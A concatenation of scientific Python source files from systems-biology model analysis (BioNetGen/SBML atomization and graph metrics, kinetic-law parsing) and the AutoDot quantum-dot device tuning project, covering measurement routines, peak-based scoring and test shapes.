figsize=(8, 6)) #g = sns.JointGrid(columns[0], columns[1], dataframe, xlim=xlim, ylim=ylim, space = 0) #g.plot_marginals(sns.distplot, color="g") #g.plot_joint(plt.hexbin, cmap="Greens", extent=[0, np.max(dataframe[columns[0]]), 0, np.max(dataframe[columns[1]])]) #g.annotate(stats.pearsonr) #sns.jointplot(dataframe[columns[0]], dataframe[columns[1]], kind="hex", stat_func=stats.pearsonr, color="g", gridsize=8) g.fig.savefig(outputfilename) def create1Ddensityplot(data, outputfilename): plt.clf() f, (ax1) = plt.subplots(1, 1, sharex=True, figsize=(8, 6)) # with sns.axes_style("white"): #sns.jointplot("compression", "wiener index",atomizationInfo, kind="kde"); sns.kdeplot(data, shade=True, ax=ax1, clip=(0, 1), bw=0.5) plt.savefig(outputfilename) def reactionBasedAtomizationDistro(directory): ''' calculates a rection atomization based metric: ration of atomized reactions (non syndeg) in a model ''' syndelArray = [] atomizedDistro = [] nonAtomizedDistro = [] atomizationDB = pandas.DataFrame() # generate bng-xml # generateBNGXML(directory) print 'reading bng-xml files' xmlFiles = getValidFiles(directory, 'xml') print 'analyzing {0} bng-xml files'.format(len(xmlFiles)) progress = progressbar.ProgressBar() validFiles = 0 for i in progress(range(len(xmlFiles))): xml = xmlFiles[i] # for xml in xmlFiles: try: # console.bngl2xml('complex/output{0}.bngl'.format(element),timeout=10) try: structures = readBNGXML.parseFullXML(xml) rules = structures['rules'] observables = structures['observables'] molecules = structures['molecules'] except IOError: print xml continue atomizedProcesses, weight = reactionBasedAtomization(rules) ato, nonato = stoichiometryAnalysis(rules) atomizedDistro.extend(ato) nonAtomizedDistro.extend(nonato) # if (2,1) in nonato: # interesting.append(element) score = atomizedProcesses * 1.0 / weight if weight != 0 else 0 #totalRatomizedProcesses += atomizedProcesses #totalReactions += len(rules) #totalProcesses += weight # calculate yield activeMolecules = extractActiveMolecules(rules) activeMoleculeTypes = [x for x in molecules if x.name in activeMolecules] yieldValue = len([x for x in activeMoleculeTypes if len( x.components) > 0]) * 1.0 / len(activeMoleculeTypes) if len(activeMoleculeTypes) > 0 else 0 # syndel value syndelValue = 1 - (len(rules) - weight) * 1.0 / len(rules) if len(rules) > 0 else 0 atomizationDB.set_value(xml, 'score', score) atomizationDB.set_value(xml, 'weight', weight) atomizationDB.set_value(xml, 'length', len(rules)) atomizationDB.set_value(xml, 'yild', yieldValue) atomizationDB.set_value(xml, 'syndel', syndelValue) atomizationDB.set_value(xml, 'numspecies', len(observables)) validFiles += 1 except IOError: print 'io' continue print 'found {0} models i could extract info from'.format(validFiles) return atomizationDB def extractAnnotationsFromModelSet(modelList): modelAnnotationsCounter = Counter() for model in modelList: annotationExtractor = annEx.AnnotationExtractor(model) modelAnnotations = annotationExtractor.getModelAnnotations() speciesAnnotations = annotationExtractor.getAnnotationSystem() #print speciesAnnotations speciesAnnotations = set([z for x in speciesAnnotations for y in speciesAnnotations[x] for z in speciesAnnotations[x][y]]) modelAnnotationsCounter.update(speciesAnnotations) print modelAnnotationsCounter.most_common(20) def constructPlots(atomizationDB): """ Given a pandas data frame object it creates a series of histogram and kde plots describing the characteristics of a set of atomized models """ constructHistogram(atomizationDB['syndel'], '{0}/syndelHist.png'.format(outputDir), 'Fraction of non syn-del reactions', 'Number of models') constructHistogram(atomizationDB['yild'], '{0}/yieldHist.png'.format(outputDir), 'Yield score', 'Number of models') constructHistogram(atomizationDB['score'], '{0}/atomizationHist.png'.format(outputDir), 'Percentage of reactions with mechanistic processes', 'Number of models') create2DdensityPlot(atomizationDB, ['score', 'yild'], ['Atomization score', 'Yield score'], '{0}/atomizationvsyield.png'.format(outputDir)) create2DdensityPlot(atomizationDB, ['syndel', 'yild'], ['Percentage or non-syndel reactions', 'Yield score'], '{0}/syndelvsyield.png'.format(outputDir)) #createHexBin(atomizationDB, ['syndel', 'yild'], ['Percentage or non-syndel reactions', 'Yield score'], '{0}/syndelvsyieldhex.png'.format(outputDir)) if __name__ == "__main__": folder = 'curated' # calculate atomization information atomizationDB = reactionBasedAtomizationDistro(folder) atomizationDB.to_hdf('{0}DB.h5'.format(folder),'atomization') outputDir = 'testCurated' # read info #atomizationDB = pandas.read_hdf('{0}DB.h5'.format(folder), 'atomization') # construct plots #constructPlots(atomizationDB) #testSet = list(atomizationDB.query('(yild < 0.6) & (syndel > 0.8)').index) #testSet = ['XMLExamples/{0}'.format(x[:-4]) for x in testSet] #print extractAnnotationsFromModelSet(testSet) ``` #### File: source_Atomizer/stats/graphAnalysis.py ```python import networkx as nx from networkx.algorithms import bipartite import numpy as np import pandas import os import fnmatch import sys import yaml import scipy sys.path.insert(0, '.') sys.path.insert(0, os.path.join('.','SBMLparser')) #import SBMLparser.utils.consoleCommands as consoleCommands import concurrent.futures import multiprocessing as mp import progressbar import argparse import os.path def loadGraph(graphname): """ load GML file as a digraph object from a filename """ graph = nx.read_gml(graphname) return graph def getFiles(directory,extension,abspath=False): """ Gets a list of <extension> files that could be correctly translated in a given 'directory' Keyword arguments: directory -- The directory we will recurseviley get files from extension -- A file extension filter """ matches = [] for root, dirnames, filenames in os.walk(directory): for filename in fnmatch.filter(filenames, '*.{0}'.format(extension)): filepath = os.path.join(root, filename) if abspath: filepath = os.path.abspath(filepath) matches.append([filepath,os.path.getsize(os.path.join(root, filename))]) #sort by size #matches.sort(key=lambda filename: filename[1], reverse=False) matches = [x[0] for x in matches] return matches from collections import Counter class ProcessGraph: """ creates a pandas dataframe from a gml file containing several graph metrics like centrality and wiener index """ def __init__(self,graph): self.graph = graph graphics = {x:self.graph.node[x]['graphics']['type'] for x in self.graph.node} #print {x:self.graph.node[x]['graphics'] for x in self.graph.node} self.nodes = pandas.DataFrame.from_dict(self.graph.node,orient='index') self.nodes['graphics'] = pandas.Series(graphics) self.nodes['graphics'] = self.nodes['graphics'].map({'roundrectangle': 'species', 'hexagon': 'process'}) def entropy(self,dist): """ Returns the entropy of `dist` in bits (base-2). """ dist = np.asarray(dist) ent = np.nansum( dist * np.log2( 1/dist ) )/np.log2(len(dist)) return ent def centrality_distribution(self,node_type): """ Returns a centrality distribution. Each normalized centrality is divided by the sum of the normalized centralities. Note, this assumes the graph is simple. """ centrality = self.nodes[self.nodes.graphics == node_type]['degree'].values centrality = np.asarray(centrality) centrality /= centrality.sum() return centrality def removeContext(self): context2 = [] context3 = [] edges = self.graph.edges(data=True) for source,destination,data in edges: if 'graphics' in data: if data['graphics']['fill'] == u'#798e87': context2.append((source,destination)) else: for idx in data: if 'graphics' in data[idx]: if data[idx]['graphics']['fill'] == u'#798e87': context3.append((source,destination,idx)) self.graph.remove_edges_from(context2) self.graph.remove_edges_from(context3) def wiener(self): g2 = nx.Graph(self.graph) speciesnodes = set(n for n, d in self.graph.nodes(data=True) if d['graphics']['type']=='roundrectangle') wienerIndex = [] connected = 0 for node1 in speciesnodes: wiener = 0 for node2 in speciesnodes: if node1 == node2: continue try: wiener += len(nx.shortest_path(g2,node1,node2)) - 1 connected += 1 except nx.exception.NetworkXNoPath: continue wienerIndex.append(wiener) if connected ==0: return 0,1 return sum(wienerIndex)*1.0/connected,self.entropy(np.asarray(wienerIndex)*1.0/sum(wienerIndex)) def graphMeasures(self): """ calculates several graph measures """ #average_degree_connectivity = nx.average_degree_connectivity(self.graph) #average_neighbor_degree = nx.average_neighbor_degree(self.graph) average_node_connectivity = nx.average_node_connectivity(self.graph) #average_node_connectivity = 1 return [average_node_connectivity] def centrality(self): """ calculates several measures of node centrality and stores them in the general node table """ speciesnodes = set(n for n, d in self.graph.nodes(data=True) if d['graphics']['type']=='roundrectangle') g2 = nx.Graph(self.graph) self.nodes['degree'] = pandas.Series(nx.degree_centrality(self.graph)) self.nodes['closeness'] = pandas.Series(nx.closeness_centrality(self.graph)) self.nodes['betweenness'] = pandas.Series(nx.betweenness_centrality(self.graph)) self.nodes['communicability'] = pandas.Series(nx.communicability_centrality(g2)) #print self.nodes.sort(column='load',ascending=False).head(20) # def generateGraph(bngfile,timeout=180,graphtype='regulatory',options = []): """ Generates a bng-xml file via the bng console """ #consoleCommands.generateGraph(bngfile,graphtype,options) graphname = '.'.join(bngfile.split('.')[:-1]) + '_{0}.gml'.format(graphtype) graphname = graphname.split('/')[-1] return graphname def getGraphEntropy(graphname,nodeType): """ given a filename pointing to a gml file it will return a series of metrics describing the properties of the graph """ #try: graph = loadGraph(graphname) process = ProcessGraph(graph) #process.removeContext() try: process.centrality() dist = process.centrality_distribution(node_type=nodeType) centropy = process.entropy(dist) #centropy = 1 except ZeroDivisionError: centropy = 1 #print process.wiener() #return graphname,nodeType,process.wiener(),centropy,process.graphMeasures(), #[len(process.nodes[process.nodes.graphics =='process']),len(process.nodes[process.nodes.graphics=='species']),len(graph.edges)] return {'graphname':graphname,'nodeType':nodeType, 'wiener':process.wiener(),'centropy':centropy, 'measures': process.graphMeasures(), 'graphstats':[len(process.nodes[process.nodes.graphics =='process']),len(process.nodes[process.nodes.graphics=='species']),len(graph.edges())] } #except: # return graphname,nodeType,-1 import shutil def createGMLFiles(directory,options): bngfiles= getFiles(directory,'bngl') for bngfile in bngfiles: for option in options: graphname = generateGraph(bngfile,options = options[option]) shutil.move(graphname, os.path.join(directory,option)) def defineConsole(): parser = argparse.ArgumentParser(description='SBML to BNGL translator') parser.add_argument('-s','--settings',type=str,help='settings file') parser.add_argument('-o','--output',type=str,help='output directory') return parser def loadFilesFromYAML(yamlFile): with open(yamlFile,'r') as f: yamlsettings = yaml.load(f) print yamlsettings return yamlsettings def getEntropyMeasures(graphnames): """ batch process returns a distribution of metrics for fileset <graphnames> """ futures = [] workers = mp.cpu_count()-1 results = pandas.DataFrame() with concurrent.futures.ProcessPoolExecutor(max_workers=workers) as executor: for gidx in range(len(graphnames)): futures.append(executor.submit(getGraphEntropy,graphnames[gidx],'species')) for future in concurrent.futures.as_completed(futures,timeout=3600): partialResults = future.result() row = partialResults['graphname'].split('/')[-1] column = partialResults['graphname'].split('/')[-3] results = results.set_value(row,column + '_wiener',partialResults['wiener'][0]) results = results.set_value(row,column + '_entropy',partialResults['wiener'][1]) results = results.set_value(row,column + '_ccentropy',partialResults['centropy']) results = results.set_value(row,column + '_nconn',partialResults['measures'][0]) results = results.set_value(row,column + '_nprocess',partialResults['graphstats'][0]) results = results.set_value(row,column + '_nspecies',partialResults['graphstats'][1]) results = results.set_value(row,column + '_nedges',partialResults['graphstats'][2]) return results if __name__ == "__main__": parser = defineConsole() namespace = parser.parse_args() if namespace.settings != None: settings = loadFilesFromYAML(namespace.settings) graphnames = settings['inputfiles'] outputdirectory = namespace.output outputfile = 'entropy_{0}.h5'.format(namespace.settings.split('/')[-1].split('.')[-2]) else: graphnames = getFiles('egfr/collapsed_contact','gml') outputdirectory = 'egfr' outputfile = 'entropy_test.h5' #bngfile = 'egfr_net.bngl' #createGMLFiles('egfr',options) nodeTypes = ['species','process'] results = getEntropyMeasures(graphnames) results.to_hdf(os.path.join(outputdirectory,outputfile),'entropy') #raise Exception ``` #### File: BioNetGen-2.2.6-stable/SBMLparser/updateDistribution.py ```python from os import listdir import os.path import shutil import json import argparse import os def defineConsole(): parser = argparse.ArgumentParser(description='SBMLparser file copy script') parser.add_argument('-c','--copy',action='store_true',help='copy files from the main distro') parser.add_argument('-r','--remove',action='store_true',help='remove files from this directory') return parser fileList = [] def resource_path(relative_path): base_path = os.path.abspath(".") convertedPath = os.path.normpath(os.path.join(base_path, relative_path)) return convertedPath def clean_directory(): ''' with open('fileList.json','r') as f: onlyfiles = json.load(f) for fileName in onlyfiles: try: os.remove(fileName) except OSError: continue ''' shutil.rmtree(os.path.join('.','SBMLparser')) def update_directory(): srcDirectory = resource_path(os.path.join('..','..','parsers','SBMLparser','SBMLparser')) ''' with open('fileList.json','r') as f: onlyfiles = json.load(f) #onlyfiles = [ f for f in listdir('./' + directory) if os.path.isfile(os.path.join('./' + directory,f)) ] configFiles = [ f for f in listdir(os.path.join('.','config')) if os.path.isfile(os.path.join('.','config',f)) ] #onlyNotFiles =[ f for f in listdir('./' + directory) if not isfile(join('./' + directory,f)) ] originalFiles = listdir(srcDirectory) print onlyfiles for element in onlyfiles: if element in originalFiles: try: shutil.copy(os.path.join(srcDirectory, element), '.') except: continue for element in configFiles: shutil.copy(os.path.join(srcDirectory,'config',element), os.path.join('.','config')) ''' configFiles = [ f for f in listdir(os.path.join('.','config')) if os.path.isfile(os.path.join('.','config',f)) ] for element in configFiles: shutil.copy(os.path.join(srcDirectory,'config',element), os.path.join('.','config')) try: shutil.copytree(os.path.join(srcDirectory), 'SBMLparser') except OSError: print('SBMLparser directory already exists') if __name__ == "__main__": parser = defineConsole() namespace = parser.parse_args() if namespace.copy: update_directory() elif namespace.remove: clean_directory() ```
{ "source": "joseph-hellerstein/symSBML-deprecated", "score": 3 }
#### File: symSBML-deprecated/symSBML/kinetic_law.py ```python from src.common import constants as cn from src.common import util from src.common import exceptions from src.common import msgs import collections import numpy as np import re MAX_RECURSION = 5 class KineticLaw(object): def __init__(self, libsbml_kinetics, reaction, function_definitions=None): """ :param libsbml.KineticLaw libsbml_kinetics: :param function_definitions list-FunctionDefinition: """ # libsbml object for kinetics self.libsbml_kinetics = libsbml_kinetics # String version of chemical formula self.formula = self.libsbml_kinetics.getFormula() # Parameters and chemical species self.symbols = self._getSymbols() # Reaction for the kinetics law self.reaction = reaction # Expanded kinetic formula (remove embedded functions) if function_definitions is None: self.expanded_formula = None else: self.expandFormula(function_definitions) self.expression_formula = None # valid symPy expression string def __repr__(self): return self.formula def expandFormula(self, function_definitions): """ Expands the kinetics formula, replacing function definitions with their body. Parameters ---------- function_definitions: list-FunctionDefinition """ self.expanded_formula = self._expandFormula(self.formula, function_definitions) def mkSymbolExpression(self, function_definitions): """ Creates a string that can be processed by sympy. Parameters ------- function_definitions: list-FunctionDefinition Returns ------- str """ if self.expanded_formula is None: self.expandFormula(function_definitions) self.expression_formula = str(self.expanded_formula) self.expression_formual.replace('^','**') @staticmethod def _expandFormula(expansion, function_definitions, num_recursion=0): """ Expands the kinetics formula, replacing function definitions with their body. Parameters ---------- expansion: str expansion of the kinetic law function_definitions: list-FunctionDefinition num_recursion: int Returns ------- str """ if num_recursion > MAX_RECURSION: return expansion done = True for fd in function_definitions: # Find the function calls calls = re.findall(r'{}\(.*?\)'.format(fd.id), expansion) if len(calls) == 0: continue done = False for call in calls: # Find argument call. Ex: '(a, b)' call_arguments = re.findall(r'\(.*?\)', call)[0] call_arguments = call_arguments.strip() call_arguments = call_arguments[1:-1] # Eliminate parentheses arguments = call_arguments.split(',') arguments = [a.strip() for a in arguments] body = str(fd.body) for formal_arg, call_arg in zip(fd.argument_names, arguments): body = body.replace(formal_arg, call_arg) expansion = expansion.replace(call, body) if not done: return KineticLaw._expandFormula(expansion, function_definitions, num_recursion=num_recursion+1) return expansion def _getSymbols(self): """ Finds the parameters and species names for the kinetics law. Exposing this information requires a recursive search of the parse tree for the kinetics expression. :return list-str: """ global cur_depth MAX_DEPTH = 20 cur_depth = 0 def augment(ast_node, result): global cur_depth cur_depth += 1 if cur_depth > MAX_DEPTH: raise exceptions.BadKineticsMath(self.reaction.id) for idx in range(ast_node.getNumChildren()): child_node = ast_node.getChild(idx) if child_node.getName() is None: additions = augment(child_node, result) result.extend(additions) else: if child_node.isFunction(): additions = augment(child_node, result) result.extend(additions) else: result.append(child_node.getName()) return result ast_node = self.libsbml_kinetics.getMath() if ast_node.getName() is None: result = [] else: result = [ast_node.getName()] return augment(ast_node, result) ```
{ "source": "josephhic/AutoDot", "score": 2 }
#### File: AutoDot/Investigation/condition_functions.py ```python import scipy.signal as signal import pickle import numpy as np from .scoring.Last_score import final_score_cls from skimage.feature import blob_log import time def mock_peak_check(anchor,minc,maxc,configs,**kwags): a = configs.get('a',None) b = configs.get('b',None) verb = configs.get('verbose',False) if a is None and b is None: prob = configs.get('prob',0.5) c_peak = np.random.uniform(0,1)<prob if verb: print(c_peak) return c_peak, c_peak, None lb, ub = np.minimum(a,b), np.maximum(a,b) c_peak = np.all(anchor<ub) and np.all(anchor>lb) if verb: print(c_peak) return c_peak, c_peak, None def mock_score_func(anchor,minc,maxc,configs,**kwags): a = np.array(configs.get('target',[-500,-500])) score = 100/ np.linalg.norm(a-anchor) print(score) return score, False, None def check_nothing(trace,minc,maxc,configs,**kwags): output = configs.get('output',False) return output, output, None def peak_check(trace,minc,maxc,configs,**kwags): prominence = configs['prominance'] #norm settings offset = minc maxval = maxc #peak detector settings height = configs.get('height',0.0178) trace_norm=trace.copy()-offset trace_norm[trace_norm<0]=0 trace_norm = (trace_norm)/((maxval-offset)) #normalize the current amplitude peaks, data = signal.find_peaks(trace_norm,prominence=prominence,height=height) return len(peaks)>=configs['minimum'], len(peaks)>=configs['minimum'], peaks def reduce_then_clf_2dmap(data,minc,maxc,configs,**kwags): dim_reduction_fname = configs['dim_reduction'] clf_fname = configs['clf'] with open(dim_reduction_fname,'rb') as drf: dim_red = pickle.load(drf) with open(clf_fname,'rb') as cf: clf = pickle.load(cf) X = normilise(data,configs['norm'],minc,maxc) X_red = dim_red.transform(np.expand_dims(X,axis=0)) Y = np.squeeze(clf.predict(X_red)) return Y, Y, None def last_score(data,minc,maxc,configs,**kwags): fsc = final_score_cls(minc,maxc,configs['noise'],configs['segmentation_thresh']) score = getattr(fsc,configs.get('mode','score'))(data,diff=configs.get('diff',1)) s_cond = False print("Score: %f"%score) return score, s_cond, None def last_score_then_blob(data,minc,maxc,configs,**kwags): fsc = final_score_cls(minc,maxc,configs['noise'],configs['segmentation_thresh']) score = getattr(fsc,configs.get('mode','score'))(data,diff=configs.get('diff',1)) score_thresh = configs.get('score_thresh',None) if score_thresh is None: score_thresh = kwags.get('score_thresh') print("Score: %f"%score) blobs = blob_detect_rough(data,minc,maxc) return score, score>score_thresh, {"kwags":{"blobs":blobs,"size_last":configs['size'],"res_last":configs['res']}} def clf_then_blob(data,minc,maxc,configs,**kwags): data = normilise(data,configs['norm'],minc,maxc) clf_fname = configs['clf'] with open(clf_fname,'rb') as cf: clf = pickle.load(cf) Y = np.squeeze(clf.predict(np.expand_dims(data,axis=0))) if Y: pass return def count_above_thresh(data,minc,maxc,configs,**kwags): split_thresh = configs.get('split_thresh',0.0001) count_required = configs.get('count_required',0.0001) data_above = data[data>split_thresh] count_ratio = data_above.size/data.size blobs = blob_detect_rough(data,minc,maxc) return count_ratio<count_required,count_ratio<count_required,{"kwags":{"cr":count_ratio,"blobs":blobs,"size_last":configs['size'],"res_last":configs['res']}} def blob_detect_rough(data,minc,maxc): blobs = blob_log(normilise(data,'device_domain',minc,maxc),min_sigma=2,threshold=0.0001)[:,:2] return np.array([blobs[:,1],blobs[:,0]]) def normilise(data,norm_type,minc,maxc): if norm_type is None: return data if isinstance(norm_type,list): min_val = norm_type[0] max_val = norm_type[1] elif norm_type == 'device_domain': min_val = minc max_val = maxc else: min_val = data.min() max_val = data.max() data_norm = np.copy(data) data_norm[data_norm>max_val] = max_val data_norm[data_norm<min_val] = min_val data_norm = (data_norm - min_val)/(max_val-min_val) return data_norm def plot_image_and_blobs(data,blobs): blob = blobs[:,:2] blob = np.array([blob[:,1],blob[:,0]]) plt.imshow(data) for i in range(blob.shape[-1]): plt.scatter(*blob[:,i]) plt.show() ``` #### File: AutoDot/Investigation/measurement_functions.py ```python import numpy as np import matplotlib.pyplot as plt import time def do_nothing(jump,measure,anchor_vals,configs,**kwags): pause = configs.get('pause',0) time.sleep(pause) return None def mock_measurement(jump,measure,anchor_vals,configs,**kwags): pause = configs.get('pause',0) time.sleep(pause) return anchor_vals def do1dcombo(jump,measure,anchor_vals,configs,**kwags): size = configs.get('size',128) direction = np.array(configs.get('direction',[1]*len(anchor_vals))) res = configs.get('res',128) delta_volt = np.linspace(0,size,res) anchor_vals = np.array(anchor_vals) trace = combo1d(jump,measure,anchor_vals,delta_volt,direction) if configs.get('plot',False): plt.plot(delta_volt,trace) plt.show() return trace def do2d(jump,measure,anchor_vals,configs,**kwags): bound = kwags.get('bound',configs['size']) res = configs.get('res',20) direction = np.array(configs.get('direction',[1]*len(anchor_vals))) iter_vals = [None]*2 for i in range(2): iter_vals[i] = np.linspace(0,bound[i],res) iter_deltas = np.array(np.meshgrid(*iter_vals)) data = np.zeros([res,res]) for i in range(res): for j in range(res): params_c = anchor_vals + direction*iter_deltas[:,i,j] jump(params_c) data[i,j] = measure() if configs.get('plot',False): plt.imshow(data,cmap='bwr') plt.show() return data def measure_random_blob(jump,measure,anchor_vals,configs,**kwags): blobs = kwags['last_check'].get('blobs') old_size = kwags['last_check'].get('size_last') old_res = kwags['last_check'].get('res_last') size = configs['size'] res = configs['res'] x_old = np.linspace(0,old_size[0],old_res) y_old = np.linspace(0,old_size[1],old_res) try: random_blob_idx = np.random.choice(blobs.shape[-1]) random_blob = blobs[:,random_blob_idx] except ValueError: return None random_blob = blobs[:,-1] random_blob = np.array([x_old[int(random_blob[0])],y_old[int(random_blob[1])]]) anc_new = (anchor_vals - random_blob)+(size/2) print(anc_new) configs_new = {'size':[size,size],'res':res,'direction':[-1,-1]} data = do2d(jump,measure,anc_new,configs_new,**kwags) if configs.get('plot',False): plt.imshow(data,cmap='bwr') plt.show() return data def do2_do2d(jump,measure,anchor_vals,configs,**kwags): pygor = kwags.get('pygor') if pygor is None: raise ValueError("Pygor instance was not passed to investigation stage") var_par = configs['var params'] assert len(var_par)==3 data = [] print(pygor.setvals(var_par[0]['keys'],var_par[0]['params'])) data += [do2d(jump,measure,anchor_vals,configs,**kwags)] print(pygor.setvals(var_par[1]['keys'],var_par[1]['params'])) time.sleep(60) data += [do2d(jump,measure,anchor_vals,configs,**kwags)] print(pygor.setvals(var_par[2]['keys'],var_par[2]['params'])) time.sleep(60) return np.array(data) def combo1d(jump,measure,anc,deltas,dirs): trace = np.zeros(len(deltas)) for i in range(len(deltas)): params_c = anc + dirs*deltas[i] jump(params_c) trace[i] = measure() return trace ``` #### File: Investigation/scoring/dot_score.py ```python import numpy as np import scipy.signal from Pygor_new.measurement_functions import measurement_funcs as meas def find_peaks(trace,prominence): #norm settings offset = -1.5e-10 maxval = 5e-10 noise_level = 1E-11 #peak detector settings height = 0.0178 trace_norm=trace.copy()-offset trace_norm[trace_norm<0]=0 trace_norm = (trace_norm)/((maxval-offset)) #normalize the current amplitude peaks, data = scipy.signal.find_peaks(trace_norm,prominence=prominence,height=height) return peaks def dot_score_avg(coor, trace1,trace2,prominence): peaks1_index = find_peaks(trace1,prominence) peaks2_index = find_peaks(trace2,prominence) peaks1_co = coor[peaks1_index] #relative coordinates of the peaks in trace 1 peaks2_co = coor[peaks2_index] #relative coordinates of the peaks in trace 2 diff1 = np.diff(peaks1_co) diff2 = np.diff(peaks2_co) if len(diff1)==0 or len(diff2)==0: dist=np.nan return dist peak_avg1=np.convolve(peaks1_co,[0.5, 0.5],'valid') peak_avg2=np.convolve(peaks2_co,[0.5, 0.5],'valid') if len(diff1)>len(diff2): while len(diff1)>len(diff2): avg_score=[] for num in peak_avg1: avg_score+=[min(abs(peak_avg2-num))] max_avg_index=avg_score.index(max(avg_score)) diff1=np.delete(diff1,[max_avg_index]) peak_avg1=np.delete(peak_avg1,[max_avg_index]) if len(diff2)>len(diff1): while len(diff2)>len(diff1): peak_avg1=np.convolve(peaks1_co,[0.5, 0.5],'valid') peak_avg2=np.convolve(peaks1_co,[0.5, 0.5],'valid') avg_score=[] for num in peak_avg2: avg_score+=[min(abs(peak_avg1-num))] max_avg_index=avg_score.index(max(avg_score)) diff2=np.delete(diff2,[max_avg_index]) peak_avg2=np.delete(peak_avg2,[max_avg_index]) dist = np.linalg.norm(diff1-diff2)/np.sqrt(diff1.size) return dist def dot_score_weight(coor, trace1,trace2,prominence,weight): peaks1_index = find_peaks(trace1,prominence) peaks2_index = find_peaks(trace2,prominence) peaks1_co = coor[peaks1_index] #relative coordinates of the peaks in trace 1 peaks2_co = coor[peaks2_index] #relative coordinates of the peaks in trace 2 if len(peaks1_co)<3 or len(peaks2_co)<3: extra_score=1 return extra_score else: peak_avg1=np.convolve(peaks1_co,[0.5, 0.5],'valid') peak_avg2=np.convolve(peaks2_co,[0.5, 0.5],'valid') dist_avg1=(np.mean(np.diff(peak_avg1))) dist_avg2=(np.mean(np.diff(peak_avg2))) extra_score=2-(abs(dist_avg1-dist_avg2)/max(dist_avg1,dist_avg2)) return extra_score*weight def execute_score(coor, traces_dir1, traces_dir2, prominence=0.02,weight=1.5): scores1=[] scores2=[] #Scores based on distance difference for j in range(0,len(traces_dir1),2): #calculate the scores for the the traces in direction 1 and direction 2 score1=dot_score_avg(coor,traces_dir1[j],traces_dir1[j+1],prominence) score2=dot_score_avg(coor,traces_dir2[j],traces_dir2[j+1],prominence) print(score1,score2) #Scores based on extra periodicity weight factor score_extra1=dot_score_weight(coor,traces_dir1[j],traces_dir1[j+1],prominence,weight) score_extra2=dot_score_weight(coor,traces_dir2[j],traces_dir2[j+1],prominence,weight) print(score_extra1,score_extra2) scores1+=[score1*score_extra1] scores2+=[score2*score_extra2] if np.isnan(scores1): scores1 = [0] if np.isnan(scores2): scores2 = [0] print(scores1,scores2) #nx is the number of x pixels #ny is the number of y pixels tot_score = scores1[0] + scores2[0] return tot_score def smooth_trace(traces,pad=(1,1),conv=3): s_traces = [] for trace in traces: s_traces += [np.convolve(np.lib.pad(trace,pad,'edge'),np.ones((conv,))/conv,mode='valid')] return s_traces def dot_score_sample(pygor,params,gates=["c3","c4","c5","c6","c7","c8","c9","c10"],v_gates=["c5","c9"],l=100,s=20,res=100): def safe_shuffle(varz,vals): pygor.server.config_control("dac",{'set_settletime': 0.03,'set_shuttle': True}) pygor.setvals(varz,vals) pygor.server.config_control("dac",{'set_settletime': 0.01,'set_shuttle': False}) safe_shuffle(gates,params) v1_val,v2_val=pygor.getvals(["c5","c9"]) l_step = (l/2)/np.sqrt(2) s_step = (s/2)/np.sqrt(2) tracepoints = np.zeros([4,2]) endpoints = np.zeros([4,2]) traces = np.zeros([tracepoints.shape[0],100]) tracepoints[0,:] = [v1_val +l_step +s_step ,v2_val +l_step -s_step] endpoints[0,:] = [v1_val -l_step +s_step, v2_val -l_step -s_step] tracepoints[1,:] = [v1_val -l_step -s_step, v2_val -l_step +s_step] endpoints[1,:] = [v1_val +l_step -s_step, v2_val +l_step +s_step] tracepoints[2,:] = [v1_val -l_step +s_step, v2_val +l_step +s_step] endpoints[2,:] = [v1_val +l_step +s_step, v2_val -l_step +s_step] tracepoints[3,:] = [v1_val +l_step -s_step, v2_val -l_step -s_step] endpoints[3,:] = [v1_val -l_step -s_step, v2_val +l_step -s_step] for i in range(tracepoints.shape[0]): safe_shuffle(v_gates,tracepoints[i]) traces[i,:] = meas.do1d_combo(pygor,v_gates,tracepoints[i],endpoints[i],res).data safe_shuffle(gates,params) x_vals = np.linspace(0,l,res) return traces,x_vals,tracepoints,endpoints def dot_score(pygor,params,gates=["c3","c4","c5","c6","c7","c8","c9","c10"],v_gates=["c5","c9"],l=100,s=20,res=100): traces,coor,tracepoints,endpoints = dot_score_sample(pygor,params,gates,v_gates,l,s,res) s_traces = smooth_trace(traces) s1 = execute_score(coor,s_traces[0:2],s_traces[2:4]) return s1 ``` #### File: AutoDot/Playground/shapes.py ```python import numpy as np import scipy.stats def L2_norm(x): return np.sqrt(np.sum(np.square(x), axis=-1)) class Circle(object): def __init__(self, ndim, r=1000, origin=0.0): if np.isscalar(origin): self.origin = origin * np.ones(ndim) else: self.origin = np.array(origin) self.r = r self.ndim = ndim def __call__(self, x): return L2_norm(np.array(x) - self.origin) <= self.r class Box(object): def __init__(self, ndim, a=-1000, b=0): if np.isscalar(a): a = a * np.ones(ndim) if np.isscalar(b): b = b * np.ones(ndim) a = np.array(a) b = np.array(b) if len(a) != ndim or len(b) != ndim: raise ValueError('Wrong dimensions for defining a box') if all(a < b): self.lb, self.ub = a, b elif all(a > b): self.lb, self.ub = b, a else: raise ValueError('Wrong points for defining a box') self.ndim = ndim def __call__(self, x): x = np.array(x) inside = np.logical_and(np.all(x > self.lb[np.newaxis, :], axis=-1), np.all(x < self.ub[np.newaxis, :], axis=-1)) return inside class Leakage(object): def __init__(self, ndim, th_leak=-500, idx=0): self.th_leak = th_leak self.leak_gate = idx def __call__(self, x): x = np.array(x) leak = x[:, self.leak_gate] > self.th_leak return leak # change class Convexhull(object): def __init__(self, ndim, points=[-1000, 0, [-1000, 0], [0, -1000]]): # points: 2D array (num_points x ndim) for i, point in enumerate(points): if np.isscalar(point): points[i] = point * np.ones(ndim) points = np.array(points) from scipy.spatial import Delaunay self.hull = Delaunay(points) self.ndim = points.shape[1] def __call__(self, x): return self.hull.find_simplex(x) >= 0 class Crosstalk_box(Convexhull): def __init__(self, ndim, a=-1500, b=1500, a_prime=-1000): if np.isscalar(a): a = a * np.ones(ndim) if np.isscalar(b): b = b * np.ones(ndim) if np.isscalar(a_prime): a_prime = a_prime * np.ones(ndim) a = np.array(a) b = np.array(b) if np.any(a > b): raise ValueError('a should be less than b') vertices = np.array(np.meshgrid(*list(zip(a, b)))).T.reshape(-1, ndim) # Replace the first vertex with b vertices[0] = a_prime from scipy.spatial import Delaunay self.hull = Delaunay(vertices) self.ndim = vertices.shape[1] class Crosstalk_matrix_box: def __init__(self, ndim, mean=0, stdev=1.2, max=[-1200, -1200, -1200]): """ Creates a device hypersurface for a device with ndim (barrier) gates Crosstalk between gates is defined by crosstalk matrix (define_crosstalk_matrix) This matrix is randomly generated using gaussian from mean, stdev provided in init (from config). """ self.mean = mean self.stdev = stdev self.ndim = ndim self.max = np.array(max) # self.matrix = self.define_crosstalk_matrix(self.ndim, self.mean, self.stdev) print("Matrix not randomly generated. Change in Playground/shapes.py") self.matrix = np.array([[1.00000000e+00, 